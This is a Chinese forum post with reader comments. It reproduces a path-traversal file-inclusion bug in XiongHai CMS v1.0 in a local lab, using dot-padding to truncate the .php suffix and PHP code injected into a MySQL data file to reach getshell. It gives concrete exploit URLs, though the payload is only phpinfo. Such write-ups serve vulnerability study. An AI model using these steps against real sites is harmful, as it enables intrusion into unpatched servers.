熊海cms文件包含漏洞【通过】

本漏洞复现环境:phpstudy2018(只要数据库文件与网站目录处于同一磁盘下就可以getshell)

熊海cms

熊海cms文件包含getshell漏洞分析

1、xhcms_v1.0/admin/index.php

image

可以看出参数r经过了一系列的过滤,但是只是针对单引号、双引号、反斜杠(\),而对文件包含所用到的../ 没有任何的过滤,所以考虑文件包含漏洞。

2、截断文件的php后缀

Windows的路径不能超过256个字符,那我们可以考虑构造一个特殊的长文件名进行截断,可以考虑使用 . 来截断,因为点最后会被windows处理掉,只会保留前面的扩展名。

在根目录下创建shell.txt 内容为:<?php phpinfo();?>

然后访问如下构造的url

http://127.0.0.1/2/xhcms_v1.0/admin/?r=../../shell.txt................................................................................................................................................................................................................................................................

后面一共有256个点,通过这256个点成功的截断了后面的php后缀(因为目录在files下面所以要用两个../)

所以此处的文件包含漏洞存在。

image

3、结合文件包含getshell

因为后台文件上传的功能损坏,所以考虑在数据库的文件里面插入一句话php语句。

进入后台--à设置--à基本设置

在每一行中插入<?php phpinfo();?>

image

点击保存。

这样就会把php语句插入到phpstudy的数据库的文件之中,路径如下:

D:\phpstudy\PHPTutorial\MySQL\data\xhcms\settings.MYD

image

此文件的保存这以Unicode编码过的基本设置的信息,所以phpinfo可以不经过编码直接插入进去。

然后利用上面的文件包含漏洞进行getshell。

http://127.0.0.1/2/xhcms_v1.0/admin/?r=../../../../../MySQL/data/xhcms/settings.MYD............................................................................................................................................................................................................................................................................................................................................................

image

成功的实现文件包含漏洞。

此cms多处存在sql注入,所以配合SQL注入得到它的数据库名称也就是它的数据库路径名称,并且一般的路径是默认的路径,所以多次尝试可以得到他的文件的路径。

  • 通过
  • 未通过

0 投票者

这多老的洞了。。。

呵呵

有点老了 这个洞 而且就发个复现过程 有点随便